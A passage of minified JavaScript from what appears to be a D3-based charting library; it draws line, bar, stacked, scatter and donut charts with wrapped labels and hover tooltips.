ut=L=>n.line().defined(E=>E!==null).x((E,z)=>h(z)).y(E=>C(L)(E)),X=e.series.map((L,E)=>E).sort((L,E)=>Number(Lt(r,L))-Number(Lt(r,E))).reverse();for(let L of X){let E=e.series[L],z=(tt=ut(L)(E.values))!=null?tt:"";((e.series.length>1?!Lt(r,L):!1)?T.append("path").attr("class",t.cls("line-halo")).attr("d",z):!1),T.append("path").attr("class",t.cls("line")).attr("d",z).attr("stroke",ot(r,L,t.dark)).attr("stroke-width",Lt(r,L)?2:t.mobile?3:3.5).attr("stroke-dasharray",E.dashed?"6 4":null),E.values.forEach((W,st)=>{(((W===null?!0:E.values[st-1]!=null)?!0:E.values[st+1]!=null)?!0:T.append("circle").attr("cx",h(st)).attr("cy",C(L)(W)).attr("r",3.5).attr("fill",ot(r,L,t.dark)))})}if((o.endDots?e.series.forEach((L,E)=>{if(((0)>(k[E])?!0:Lt(r,E)))return;let z=h(k[E]),W=C(E)(e.series[E].values[k[E]]);T.append("circle").attr("class",`${t.cls("dot")} ${t.cls("dot--pulse")}`).attr("cx",z).attr("cy",W).attr("r",5).attr("fill",ot(r,E,t.dark))}):!1),B){let L=e.series.map((z,W)=>({i:W,y:k[W]>=0?C(W)(z.values[k[W]]):NaN,x:k[W]>=0?h(k[W]):0})).filter(z=>(!Number.isNaN(z.y)?((!Lt(r,z.i)?!0:R)):!1));Xt(L,15,6,A);let E=t.width/3;for(let z of L){let W=e.series[z.i].values[k[z.i]],[st,nt]=C(z.i).domain(),Q=W>nt?-1:(st)>(W)?1:0,at=(l?H:z.x)+J,pt=wt(r,ot(r,z.i,t.dark),t.dark);(Q?D.append("path").attr("class",t.cls("off-scale")).attr("d",`M${at+4},${z.y+Q*5}l-4,${-Q*8}h8z`).attr("fill",pt).append("title").text((0)>(Q)?"Above the axis range":"Below the axis range"):!1);let Ft=D.append("text").attr("class",t.cls(R?"direct-label":"value-label")).attr("x",at+(Q?12:0)).attr("y",z.y).attr("dy","0.32em").style("fill",pt).text(Y(z.i)),Rt=Ft.node(),[At,we]=O(z.i),It=(At?At:we),kn=ke=>At?[`${ke.trimEnd()}\u2026`,we].filter(Boolean).join(" "):`${ke.trimEnd()}\u2026`;for(;(Rt.getComputedTextLength()>E?It.length>4:!1);)It=It.slice(0,-2),Ft.text(kn(It))}}}let Z=M.append("g").attr("class",t.cls("hover")).style("display","none");Z.append("line").attr("class",t.cls("rule")).attr("y1",0).attr("y2",A);let K=M.append("rect").attr("class",t.cls("overlay")).attr("width",H).attr("height",A);t.tooltip.bind(K,P=>{var st;let[_]=n.pointer(P),v=q.invert(_),U=Math.max(0,Math.min(p-1,n.bisectCenter(m,v))),ut=h(U);Z.style("display",null).select("line").attr("x1",ut).attr("x2",ut);let X=e.series.map((nt,Q)=>({si:Q,v:nt.values[U]})).filter(nt=>nt.v!==null).sort((nt,Q)=>Q.v-nt.v),L=X.slice(0,8),E=L.map(nt=>it(t.cls("tip-row"),ot(r,nt.si,t.dark),e.series[nt.si].label,w(nt.si)(nt.v))).join(""),z=X.length>L.length?`\x3cdiv class="${t.cls("tip-more")}">+${X.length-L.length} more\x3c/div>`:"",W=L.length?u?$((st=n.max(y,nt=>nt[U][1]))!=null?st:0):C(L[0].si)(L[0].v):A/2;t.tooltip.show(`\x3cdiv class="${t.cls("tip-title")}">${ct(i?String(e.x[U]):t.fmtX((e.xKind==="date",m[U])))}\x3c/div>${E}${z}`,ut+b.left,W+b.top)},()=>Z.style("display","none"))}function en(t){let{spec:n}=t;return __gvAnd((n.type==="line"?n.data.series.length===1:!1),()=>(!!dt(t,[n.data.series[0].key])))}function Lt(t,n){var r;return __gvAnd(t.style.paletteId.startsWith("highlight"),()=>(t.data.series[n].key!==((r=t.style.highlight)!=null?r:t.data.series[0].key)))}function rr(t,n,r){let{d3:a,spec:e}=t,o=e.data;if(o.xKind==="date")return s=>{let u=He(a,n,r,s);return{ticks:u.ticks,label:(i,m)=>u.label(i,m)}};if(o.xKind==="category"){let s=o.x.map(String),u=s.length;return i=>({ticks:a.range(0,u,Math.max(1,Math.ceil(u/i))),label:m=>s[m]})}return Kt(t,n)}var re="http://www.w3.org/2000/svg",rn=/[\p{Script=Latin}\p{Script=Greek}\p{Script=Cyrillic}]/u,on=/[_\-/.]/;function or(t,n,r){let a=[],e=Array.from(t);for(;(e.length>1?r(e.join(""))>n:!1);){let o=i=>{let m=e.slice(0,i).join("");return (rn.test(e[i-1])?rn.test(e[i]):!1)?`${m}-`:m},s=1;for(;((e.length-1)>(s)?__gvLe(r(o(s+1)),n):!1);)s++;let u=s;for(;(u>Math.ceil(s/2)?!on.test(e[u-1]):!1);)u--;(on.test(e[u-1])?(s=u):!1),a.push(o(s)),e=e.slice(s)}return{lines:a,rest:e.join("")}}function an(t,n,r,a){let e=[],o="";for(let s of t.split(/\s+/).filter(Boolean)){let u=o?`${o} ${s}`:s;if(__gvLe(a(u),n)){o=u;continue}(o?e.push(o):!1);let i=or(s,n,a);if(e.push(...i.lines),o=i.rest,e.length>r)break}if((o?e.push(o):!1),e.length>r){let s=Array.from(e[r-1].replace(/-$/,""));for(;(s.length>1?a(`${s.join("").trimEnd()}\u2026`)>n:!1);)s=s.slice(0,-1);e.length=r,e[r-1]=`${s.join("").trimEnd()}\u2026`}return e}function sn(t){t.textContent="";let n=t.ownerDocument.createElementNS(re,"tspan");return t.appendChild(n),r=>(n.textContent=r,n.getComputedTextLength())}function ln(t,n,r){var o;let a=t.getAttribute("x"),e=t.ownerDocument;if(t.textContent="",(1)>=(n.length)){t.textContent=(o=n[0])!=null?o:"";return}n.forEach((s,u)=>{let i=e.createElementNS(re,"tspan");(a!==null?i.setAttribute("x",a):!1),(u?i.setAttribute("dy",`${r}em`):!1),i.textContent=s,t.appendChild(i)})}function fe(t,n,r,a,e){let o=an(n,r,a,sn(t));ln(t,o,e);let s=__gvAnd((o.length>0?o[o.length-1].endsWith("\u2026"):!1),()=>(!n.endsWith("\u2026")));return{lines:Math.max(1,o.length),cut:s}}function ar(t,n,r,a,e){let o=/\s/.test(t),s=g=>o?g.split(/\s+/).filter(Boolean):Array.from(g),u=g=>g.join(o?" ":""),i=s(t),m=n.filter(g=>g!==t).map(s),p=(g,y)=>(g.length>=y?u(g.slice(-y))===u(i.slice(-y)):!1),l=1;for(;((i.length)>(l)?m.some(g=>p(g,l)):!1);)l++;let d=u(i.slice(-l));for(let g=i.length-l-1;g>=0;g--){let y=u(i.slice(0,g)),x=o?`${y?`${y} `:""}\u2026 ${d}`:`${y}\u2026${d}`,f=an(x,r,1/0,e);if((a)>=(f.length))return f}return null}function cn(t,n){var o;let r=t.ownerDocument,a=r.createElementNS(re,"g"),e=r.createElementNS(re,"title");e.textContent=n,((o=t.parentNode)==null?!0:o.insertBefore(a,t)),a.appendChild(e),a.appendChild(t)}function he(t){var n;return __gvOr(Array.from(t.querySelectorAll("tspan")).map(r=>{var a;return(a=r.textContent)!=null?a:""}).join(" "),()=>(((n=t.textContent)!=null?n:"").trim()))}function ge(t,n,r,a=1.15){var s;let e=((s=t.textContent)!=null?s:"").trim(),o=fe(t,e,n,r,a);return (o.cut?cn(t,e):!1),o.lines}function gt(t,n,r,a=1.15){let e=t.map(s=>{var u;return((u=s.textContent)!=null?u:"").trim()}),o=t.map((s,u)=>s.getComputedTextLength()>n?fe(s,e[u],n,r,a):{lines:1,cut:!1});for(let s of sr(t,e)){let u=ar(e[s],e,n,r,sn(t[s]));u?(ln(t[s],u,a),o[s]={lines:u.length,cut:!0}):o[s]=fe(t[s],e[s],n,r,a)}return o.forEach((s,u)=>__gvAnd(s.cut,()=>(cn(t[u],e[u])))),o.map(s=>s.lines)}function sr(t,n){let r=new Map;t.forEach((e,o)=>{var s;return r.set(he(e),[...(s=r.get(he(e)))!=null?s:[],o])});let a=[];for(let e of r.values())(new Set(e.map(o=>n[o])).size>1?a.push(...e.filter(o=>n[o]!==he(t[o]))):!1);return a}var un=110,ir=3,lr=19,cr=10;function be(t){return t.toUpperCase()===mt.orange?mt.azure:mt.orange}function mn(t){var tt,P,_,v,U,ut;let{d3:n,spec:r,svg:a}=t,{data:e,style:o}=r,s=r.type==="stacked",u=r.type==="combo",i=X=>(!u?!0:X===0),m=X=>__gvAnd((u?X>0:u),()=>(e.series[X].axis==="right")),p=X=>t.fmtFor(e.series[X]),l=e.x.map(X=>t.fmtX(X)),d=l.length;if(d===0)return;let g=e.series.length,y=0,x=0,f=[];if(s){let X=e.x.map((L,E)=>e.series.map(z=>{var W;return(W=z.values[E])!=null?W:0}));f=n.stack().keys(e.series.map((L,E)=>E)).value((L,E)=>L[E]).offset(n.stackOffsetDiverging)(X),y=Math.min(0,(tt=n.min(f,L=>n.min(L,E=>E[0])))!=null?tt:0),x=Math.max(0,(P=n.max(f,L=>n.max(L,E=>E[1])))!=null?P:0)}else{let X=e.series.filter((L,E)=>!m(E)).flatMap(L=>L.values).filter(L=>L!==null);y=Math.min(0,(_=n.min(X))!=null?_:0),x=Math.max(0,(v=n.max(X))!=null?v:0)}((o.yMax!==null?o.yMax>x:!1)?(x=o.yMax):!1),(y===x?(x=1):!1);let b=e.series.some((X,L)=>m(L)),A=t.mobile?4:5,G=null,$=t.fmtAxis,V=0;if(b){let X=e.series.filter((z,W)=>m(W)).flatMap(z=>z.values).filter(z=>z!==null),L=(U=n.min(X))!=null?U:0,E=(ut=n.max(X))!=null?ut:1;(o.rightFromZero?(L=Math.min(0,L),E=Math.max(0,E)):!1),(L===E?(E=L+1):!1),G=n.scaleLinear().domain([L,E]).nice(A),$=t.rightAxis(G.domain(),A),V=lt(t,G.ticks(A).map($),t.mobile?12:14)+10,t.margin.right=Math.max(t.margin.right,V+4)}let N=t.margin,I=n.scaleLinear().domain([y,x]).nice(t.mobile?4:5).range([t.height-N.top-40,0]);t.setAxis(I.domain(),t.mobile?4:5),N.left=lt(t,kt(t,I).map(t.fmtAxis),t.mobile?12:14)+10;let S=Math.max(40,t.width-N.left-N.right),C=n.scaleBand().domain(l.map((X,L)=>String(L))).range([0,S]).paddingInner(.25).paddingOuter(.1),w=C.bandwidth(),k=t.mobile?12:13,R=lt(t,l,k),B=e.xKind!=="category",O=1,Y="flat";(R>w+C.step()*.25?(B?O=Math.ceil((R+10)/C.step()):Y=((14)>=(d)?w>36:!1)?"wrap":"rotate"):!1),(Y==="rotate"?(O=Math.max(1,Math.ceil(14/Math.max(1,C.step())))):!1);let J=a.append("g").attr("class",t.cls("ticks")),rt=0,H=[];l.forEach((X,L)=>{var st;if(L%O!==0)return;let E=((st=C(String(L)))!=null?st:0)+w/2,z=J.append("text").style("font-size",`${k}px`).text(X),W=z.node();if(Y==="rotate"){z.attr("text-anchor","end").attr("transform",`translate(${E},12) rotate(-45)`);let nt=Math.min((un-12)/.72,(E+N.left-k)/Math.SQRT1_2);(W.getComputedTextLength()>nt?ge(W,nt,1):!1),rt=Math.max(rt,W.getComputedTextLength())}else z.attr("x",E).attr("y",20).attr("text-anchor","middle"),(Y==="wrap"?H.push(W):!1)});let q=Math.max(1,...gt(H,C.step()-4,ir));N.bottom=Y==="rotate"?Math.min(un,rt*.72+12)+8:Y==="wrap"?Math.ceil(20+(q-1)*k*1.15+k*.35+8):30;let M=Math.max(60,t.height-N.top-N.bottom),c=n.scaleLinear().domain([y,x]).nice(A).range([M,0]);((o.valueLabels?(24)>=(d):!1)?mr(c,M,N.top,ur(t,f)):!1),(G==null?!0:G.range([M,0])),J.attr("transform",`translate(${N.left},${N.top+M})`);let h=a.append("g").attr("transform",`translate(${N.left},${N.top})`);if($t(t,h,c,S),G){let X=wt(r,ot(r,e.series.findIndex((L,E)=>m(E)),t.dark),t.dark);h.append("g").attr("class",t.cls("ticks")).selectAll("text").data(G.ticks(A)).join("text").attr("x",S+8).attr("y",L=>G(L)).attr("dy","0.32em").style("fill",X).text(L=>$(L)),(o.rightLabel?a.append("text").attr("class",t.cls("axis-title")).attr("x",t.width).attr("y",t.rightTitleY).attr("text-anchor","end").style("fill",X).text(o.rightLabel):!1)}let F=h.append("g"),T=Et(t)?ft(t,F,S,M):null,D=u?1:g,Z=n.scaleBand().domain(n.range(D)).range([0,w]).padding(D>1?.08:0),K=[];if(s?(f.forEach((X,L)=>{X.forEach((E,z)=>{var pt;let W=c(E[0]),st=c(E[1]),nt=Math.abs(W-st);if((0)>=(nt))return;let Q=(pt=C(String(z)))!=null?pt:0,at=T?dt(t,[e.series[L].key,String(e.x[z])]):null;((T?at:!1)?T.clip(at).append("rect").attr("x",Q).attr("y",Math.min(W,st)).attr("width",w).attr("height",nt):!1),F.append("rect").attr("class",t.cls("segment")).attr("x",Q).attr("y",Math.min(W,st)).attr("width",w).attr("height",nt).attr("fill",ot(r,L,t.dark)).attr("fill-opacity",ht(t,at))})}),(o.valueLabels?e.x.forEach((X,L)=>{var nt;let E=e.series.map(Q=>{var at;return(at=Q.values[L])!=null?at:0}),z=E.filter(Q=>Q>0).reduce((Q,at)=>Q+at,0),W=E.filter(Q=>(0)>(Q)).reduce((Q,at)=>Q+at,0),st=((nt=C(String(L)))!=null?nt:0)+w/2;(((z>0?!0:W===0))?K.push({x:st,y:c(z)-6,text:t.fmtValue(z),below:!1}):!1),((0)>(W)?K.push({x:st,y:c(W)+14,text:t.fmtValue(W),below:!0}):!1)}):!1)):e.series.forEach((X,L)=>{(i(L)?X.values.forEach((E,z)=>{var Rt,At;if(E===null)return;let W=((Rt=C(String(z)))!=null?Rt:0)+((At=Z(L))!=null?At:0),st=Z.bandwidth(),nt=c(Math.max(0,E)),Q=Math.abs(c(E)-c(0)),at=ne(W,nt,st,Q,4,E>=0?"up":"down"),pt=T?dt(t,[X.key,String(e.x[z])]):null;((T?pt:!1)?T.clip(pt,ee(t,String(e.x[z]))?{x:W,y:nt,w:st,h:Q}:void 0).append("path").attr("d",at):!1);let Ft=ot(r,L,t.dark);F.append("path").attr("class",t.cls("bar")).attr("d",at).attr("fill",(((0)>(E)?D===1:!1)?!u:!1)?be(Ft):Ft).attr("fill-opacity",ht(t,pt)),(o.valueLabels?K.push({x:W+st/2,y:E>=0?c(E)-6:c(E)+14,text:p(L)(E),below:(0)>(E)}):!1)}):!1)}),(T==null?!0:T.paint()),Tt(t,h,c,S),(u?e.series.forEach((X,L)=>{var nt;if(L===0)return;let E=(m(L)?G:!1)?G:c,z=Q=>{var at;return((at=C(String(Q)))!=null?at:0)+w/2},W=(nt=n.line().defined(Q=>Q!==null).x((Q,at)=>z(at)).y(Q=>E(Q))(X.values))!=null?nt:"",st=ot(r,L,t.dark);F.append("path").attr("class",t.cls("line-halo")).attr("d",W),F.append("path").attr("class",t.cls("line")).attr("d",W).attr("stroke",st).attr("stroke-width",t.mobile?3:3.5).attr("stroke-dasharray",X.dashed?"6 4":null),X.values.forEach((Q,at)=>{(Q!==null?F.append("circle").attr("class",t.cls("dot")).attr("cx",z(at)).attr("cy",E(Q)).attr("r",d>24?2.5:4).attr("fill",st):!1)})}):!1),(K.length?(24)>=(d):!1)){let X=(D>1?!s:!1)?Z.bandwidth():w;(__gvLe(lt(t,K.map(E=>E.text),12),X+6)?h.append("g").selectAll("text").data(K).join("text").attr("class",t.cls("value-label")).attr("x",E=>E.x).attr("y",E=>E.y).attr("text-anchor","middle").text(E=>E.text):!1)}let j=h.append("g").selectAll("rect").data(l.map((X,L)=>L)).join("rect").attr("class",t.cls("overlay")).attr("x",X=>{var L;return((L=C(String(X)))!=null?L:0)-(C.step()-w)/2}).attr("width",C.step()).attr("y",0).attr("height",M);t.tooltip.bind(j,(X,L)=>{let E=l[L],z=e.series.map((Q,at)=>Q.values[L]===null?"":it(t.cls("tip-row"),ot(r,at,t.dark),Q.label,p(at)(Q.values[L]))).join(""),W=(s?g>1:!1)?it(t.cls("tip-row"),"transparent","Total",t.fmtValue(e.series.reduce((Q,at)=>{var pt;return Q+((pt=at.values[L])!=null?pt:0)},0))):"",[st,nt]=n.pointer(X,t.chartEl);t.tooltip.show(`\x3cdiv class="${t.cls("tip-title")}">${ct(E)}\x3c/div>${z}${W}`,st,nt)})}function ur(t,n){var u,i,m,p;let{d3:r,spec:a}=t;if(a.type==="stacked"){let l=(u=r.min(n,d=>r.min(d,g=>g[0])))!=null?u:0;return{top:(i=r.max(n,d=>r.max(d,g=>g[1])))!=null?i:null,bottom:(0)>(l)?l:null}}let e=(a.type==="combo"?a.data.series.slice(0,1):a.data.series).flatMap(l=>l.values).filter(l=>l!==null),o=(m=r.max(e.filter(l=>l>=0)))!=null?m:null,s=(p=r.min(e.filter(l=>(0)>(l))))!=null?p:null;return{top:o,bottom:s}}function mr(t,n,r,a){let e=Math.min(.4,cr/n),o=Math.min(.4,Math.max(0,lr-r)/n);for(let s=0;(3)>(s);s++){let[u,i]=t.domain();((a.bottom!==null?t(a.bottom)>n*(1-e):!1)?(u=i-(i-a.bottom)/(1-e)):!1),((a.top!==null?__gvLt(t(a.top),n*o):!1)?(i=(a.top-o*u)/(1-o)):!1),t.domain([u,i])}}var pr=3;function dr(t){return t>1?t*13+14:30}function pn(t){var q,M;let{d3:n,spec:r,svg:a}=t,{data:e,style:o}=r,s=e.x.map(c=>t.fmtX(c)),u=s.length;if(u===0)return;let i=e.series.length,m=t.margin,p=e.series.flatMap(c=>c.values).filter(c=>c!==null),l=Math.min(0,(q=n.min(p))!=null?q:0),d=Math.max(0,(M=n.max(p))!=null?M:0);((o.yMax!==null?o.yMax>d:!1)?(d=o.yMax):!1),(l===d?(d=1):!1);let g=t.mobile?13:14,y=t.width*(t.mobile?.42:.34),x=Math.min(y,lt(t,s,g));m.left=x+10;let f=o.valueLabels,b=f?lt(t,p.map(t.fmtValue),12)+8:0;m.right=Math.max(m.right,b),(((0)>(l)?f:!1)?(m.left+=b):!1),m.bottom=f?8:28;let A=Math.max(40,t.width-m.left-m.right),G=a.append("g").attr("transform",`translate(${m.left},${m.top})`),$=G.append("g").attr("class",t.cls("cat-labels")),V=s.map(c=>$.append("text").attr("x",-10-(((0)>(l)?f:!1)?b:0)).attr("text-anchor","end").style("font-size",`${g}px`).text(c)),N=gt(V.map(c=>c.node()),x,pr),I=V.map((c,h)=>({t:c,lines:N[h]})),S=dr(i),C=Math.max(S,Math.ceil(n.max(I,c=>c.lines)*g*1.15+10)),w=u*C,k=n.scaleLinear().domain([l,d]).nice(t.mobile?4:5).range([0,A]);t.setAxis(k.domain(),t.mobile?4:5);let R=Math.max(.25,1-S*.75/C),B=n.scaleBand().domain(s.map((c,h)=>String(h))).range([0,w]).paddingInner(R).paddingOuter(R/2),O=n.scaleBand().domain(n.range(i)).range([0,B.bandwidth()]).padding(i>1?.1:0);if(I.forEach(({t:c,lines:h},F)=>{var T;c.attr("y",((T=B(String(F)))!=null?T:0)+B.bandwidth()/2).attr("dy",`${.32-(h-1)*.575}em`)}),!f){let c=k.ticks(t.mobile?4:5);G.append("g").attr("class",t.cls("grid")).selectAll("line").data(c).join("line").attr("x1",h=>Math.round(k(h))+.5).attr("x2",h=>Math.round(k(h))+.5).attr("y1",0).attr("y2",w),G.append("g").attr("class",t.cls("ticks")).selectAll("text").data(c).join("text").attr("x",h=>k(h)).attr("y",w+20).attr("text-anchor","middle").text(h=>t.fmtAxis(h))}let Y=G.append("g"),J=Et(t)?ft(t,Y,A,w):null,rt=[];e.series.forEach((c,h)=>{c.values.forEach((F,T)=>{var v,U;if(F===null)return;let D=((v=B(String(T)))!=null?v:0)+((U=O(h))!=null?U:0),Z=O.bandwidth(),K=k(Math.min(0,F)),j=Math.abs(k(F)-k(0)),tt=ne(K,D,j,Z,4,F>=0?"right":"left"),P=J?dt(t,[c.key,String(e.x[T])]):null;((J?P:!1)?J.clip(P,ee(t,String(e.x[T]))?{x:K,y:D,w:j,h:Z}:void 0).append("path").attr("d",tt):!1);let _=ot(r,h,t.dark);Y.append("path").attr("class",t.cls("bar")).attr("d",tt).attr("fill",((0)>(F)?i===1:!1)?be(_):_).attr("fill-opacity",ht(t,P)),(f?rt.push({x:F>=0?k(F)+6:k(F)-6,y:D+Z/2,text:t.fmtValue(F),anchor:F>=0?"start":"end"}):!1)})}),(J==null?!0:J.paint()),(0)>(l)?G.append("line").attr("class",t.cls("zero")).attr("x1",k(0)).attr("x2",k(0)).attr("y1",0).attr("y2",w):G.append("line").attr("class",t.cls("baseline")).attr("x1",k(0)+.5).attr("x2",k(0)+.5).attr("y1",0).attr("y2",w),G.append("g").selectAll("text").data(rt).join("text").attr("class",t.cls("value-label")).attr("x",c=>c.x).attr("y",c=>c.y).attr("dy","0.32em").attr("text-anchor",c=>c.anchor).text(c=>c.text);let H=G.append("g").selectAll("rect").data(s.map((c,h)=>h)).join("rect").attr("class",t.cls("overlay")).attr("x",-m.left).attr("width",t.width).attr("y",c=>{var h;return((h=B(String(c)))!=null?h:0)-(B.step()-B.bandwidth())/2}).attr("height",B.step());return t.tooltip.bind(H,(c,h)=>{if((i===1?f:!1))return;let F=s[h],T=e.series.map((K,j)=>K.values[h]===null?"":it(t.cls("tip-row"),ot(r,j,t.dark),K.label,t.fmtValue(K.values[h]))).join(""),[D,Z]=n.pointer(c,t.chartEl);t.tooltip.show(`\x3cdiv class="${t.cls("tip-title")}">${ct(F)}\x3c/div>${T}`,D,Z)}),w+m.top+m.bottom}var dn=40;function hn(t){var q,M;let{d3:n,spec:r,svg:a}=t,{data:e,style:o}=r,s=(q=e.points)!=null?q:[];if(!s.length)return;let u=new Map(e.series.map((c,h)=>[c.key,h])),i=c=>{var h,F;return ot(r,(F=u.get((h=c.group)!=null?h:e.series[0].key))!=null?F:0,t.dark)},m=([c,h])=>{let F=(__gvOr(__gvOr(h-c,()=>(Math.abs(c))),()=>(1)))*.04;return[c-F,h+F]},[p,l]=m(n.extent(s,c=>c.x));(o.xFromZero?(p=Math.min(0,p),l=Math.max(0,l)):!1),(o.xMin!==null?(p=o.xMin):!1),(o.xMax!==null?(l=o.xMax):!1);let[d,g]=m(n.extent(s,c=>c.y));(o.yFromZero?(d=Math.min(0,d),g=Math.max(0,g)):!1),(o.yMin!==null?(d=o.yMin):!1),(o.yMax!==null?(g=o.yMax):!1),(p>l?([p,l]=[l,p]):!1),(d>g?([d,g]=[g,d]):!1);let y=t.margin;y.bottom=o.xLabel?48:30;let x=t.height-y.top-y.bottom,f=n.scaleLinear().domain([d,g===d?d+1:g]).nice(5).range([x,0]);t.setAxis(f.domain(),t.mobile?4:5),y.left=lt(t,kt(t,f).map(t.fmtAxis),t.mobile?12:14)+10;let b=Math.max(40,t.width-y.left-y.right),A=n.scaleLinear().domain([p,l===p?p+1:l]).nice().range([0,b]),G=a.append("g").attr("transform",`translate(${y.left},${y.top})`);$t(t,G,f,b),Yt(t,G,b,x),Tt(t,G,f,b);let $=c=>A(c);Qt(t,G,x,Ut(t,$,Kt(t,A),Zt(b,t.mobile)),$),(o.xLabel?G.append("text").attr("class",t.cls("axis-title")).attr("x",b).attr("y",x+42).attr("text-anchor","end").text(o.xLabel):!1);let V=t.mobile?4:5.5,N=t.id("plot");a.append("defs").append("clipPath").attr("id",N).append("rect").attr("x",-V).attr("y",-V).attr("width",b+2*V).attr("height",x+2*V),G.append("g").attr("clip-path",`url(#${N})`).selectAll("circle").data(s).join("circle").attr("class",t.cls("point")).attr("cx",c=>A(c.x)).attr("cy",c=>f(c.y)).attr("r",V).attr("fill",i);let[I,S]=A.domain(),[C,w]=f.domain(),k=s.filter(c=>__gvAnd(__gvAnd(__gvAnd(__gvAnd(c.label,()=>(c.x>=I)),()=>((S)>=(c.x))),()=>(c.y>=C)),()=>((w)>=(c.y)))).slice(0,dn);if((k.length?(dn)>=(k.length):!1)){let{kept:c}=Oe(k.map(h=>({p:h,y:f(h.y)-V-5})),13,8,x,40);G.append("g").selectAll("text").data(c).join("text").attr("class",t.cls("value-label")).attr("x",h=>A(h.p.x)).attr("y",h=>h.y).attr("text-anchor",h=>A(h.p.x)>b*.85?"end":__gvLt(A(h.p.x),b*.15)?"start":"middle").text(h=>h.p.label)}let R=n.Delaunay.from(s,c=>A(c.x),c=>f(c.y)),B=G.append("circle").attr("class",t.cls("ring")).attr("r",V+3).style("display","none"),O=s.some(c=>c.group!==void 0),Y=__gvOr(__gvOr(o.yLabel,()=>((O?"Vertical axis":(M=e.series[0])==null?void 0:M.label))),()=>("Vertical axis")),J=__gvOr(o.xLabel,()=>("Horizontal axis")),rt=G.append("rect").attr("class",t.cls("overlay")).attr("width",b).attr("height",x),H=()=>B.style("display","none");t.tooltip.bind(rt,c=>{let[h,F]=n.pointer(c),T=R.find(h,F),D=s[T];if((!D?!0:Math.hypot(A(D.x)-h,f(D.y)-F)>40)){H(),t.tooltip.hide();return}B.style("display",null).attr("cx",A(D.x)).attr("cy",f(D.y));let Z=__gvOr(__gvOr(D.label,()=>(D.group)),()=>("")),K=((O?D.group:!1)?D.label:!1)?it(t.cls("tip-row"),i(D),D.group,""):"",j=((O?D.group:!1)?D.label:!1)?"transparent":i(D),tt=K+it(t.cls("tip-row"),"transparent",J,t.fmtX(D.x))+it(t.cls("tip-row"),j,Y,t.fmtValue(D.y));t.tooltip.show(`${Z?`\x3cdiv class="${t.cls("tip-title")}">${ct(Z)}\x3c/div>`:""}${tt}`,A(D.x)+y.left,f(D.y)+y.top)},H)}var hr=.25,fr=16,gr=3;function fn(t){let{d3:n,spec:r,svg:a}=t,{data:e,style:o}=r,s=e.x.map(String),u=e.series.length;if((!s.length?!0:!u))return t.height;let i=Math.max(1,Math.min(u,Math.floor(t.width/(t.mobile?170:220)))),m=Math.ceil(u/i),p=t.width/i,l=S=>S%i*p+p/2,d=u>1?e.series.map((S,C)=>a.append("text").attr("class",t.cls("donut-title")).attr("x",l(C)).attr("text-anchor","middle").text(S.label)):[],g=gt(d.map(S=>S.node()),p-12,gr),y=d.map((S,C)=>({t:S,lines:g[C]})),x=Math.max(1,...y.map(S=>S.lines)),f=u>1?30+Math.ceil((x-1)*fr*1.15):0,b=Math.max(50,Math.min(p/2-12,t.mobile?130:150)),A=o.donutHole?b*.56:0,G=f+b*2+18,$=S=>{var C,w;return xt(r,(w=(C=e.categoryColors)==null?void 0:C[S])!=null?w:et.muted,t.dark)},V=n.format(".0%"),N=n.arc().innerRadius(A).outerRadius(b).padAngle(o.donutHole?.012:.006).cornerRadius(o.donutHole?2:0),I=n.arc().innerRadius(A?(A+b)/2:b*.62).outerRadius(A?(A+b)/2:b*.62);return e.series.forEach((S,C)=>{var H;let w=Math.floor(C/i),k=l(C),R=w*G+f+b+6,B=S.values.map(q=>(q!==null?q>0:!1)?q:0),O=B.reduce((q,M)=>q+M,0),Y=a.append("g").attr("transform",`translate(${k},${R})`);if(((H=y[C])==null?!0:H.t.attr("y",w*G+18)),!O)return;let J=n.pie().sort(null).value(q=>q)(B),rt=ft(t,Y,0,0);J.forEach((q,M)=>{var T;if((0)>=(q.value))return;let c=(T=N(q))!=null?T:"",h=dt(t,[s[M],S.key]);(h?rt.clip(h,{x:-b,y:-b,w:b*2,h:b*2}).append("path").attr("d",c):!1);let F=Y.append("path").attr("class",t.cls("slice")).attr("d",c).attr("fill",$(M)).attr("fill-opacity",ht(t,h));t.tooltip.bind(F,D=>{var tt;let[Z,K]=n.pointer(D,t.chartEl),j=it(t.cls("tip-row"),$(M),u>1?S.label:"Value",t.fmtValue((tt=S.values[M])!=null?tt:0))+it(t.cls("tip-row"),"transparent","Share",V(q.value/O));t.tooltip.show(`\x3cdiv class="${t.cls("tip-title")}">${ct(s[M])}\x3c/div>${j}`,Z,K)})}),rt.paint(),J.forEach((q,M)=>{if(((hr)>(q.endAngle-q.startAngle)?!0:(0)>=(q.value)))return;let[c,h]=I.centroid(q),F=qt($(M)),T=Y.append("text").attr("class",t.cls("slice-label")).attr("x",c).attr("y",h).attr("dy","0.35em").attr("text-anchor","middle").text(V(q.value/O));(F!=="#FFFFFF"?T.style("fill",F).style("stroke","rgba(255,255,255,0.35)"):!1)})}),m*G+6}function gn(t){let{d3:n,spec:r,svg:a}=t,{data:e,style:o}=r,[s,u]=e.series;if(((!s?!0:!u)?!0:!e.x.length))return;let m=e.x.map(String).map((c,h)=>({i:h,name:c,a:s.values[h],b:u.values[h]})).filter(c=>(c.a!==null?c.b!==null:!1));if(!m.length)return;let p=t.margin;p.top=Math.max(p.top,34),p.bottom=14;let l=t.mobile?12:13,d=l+3,g=Math.max(t.height-p.top-p.bottom,m.length*d);a.attr("height",g+p.top+p.bottom);let[y,x]=vt(m.flatMap(c=>[c.a,c.b]),o.yFromZero,o.yMin,o.yMax),f=n.scaleLinear().domain([y,x]).nice().range([g,0]),[b,A]=f.domain(),G=(c,h)=>h==="left"?{name:c.name,value:t.fmtValue(c.a),nameFirst:!0}:{name:t.mobile?"":c.name,value:t.fmtValue(c.b),nameFirst:!1},$=(c,h=c.name)=>h?c.nameFirst?`${h} ${c.value}`:`${c.value} ${h}`:c.value,V=c=>$(G(c,"left")),N=c=>$(G(c,"right")),I=t.width*(t.mobile?.4:.3),S=Math.min(I,lt(t,m.map(V),l))+12,C=Math.min(I,lt(t,m.map(N),l))+12,w=S,k=Math.max(w+60,t.width-C),R=c=>{var h,F;return xt(r,(F=(h=e.categoryColors)==null?void 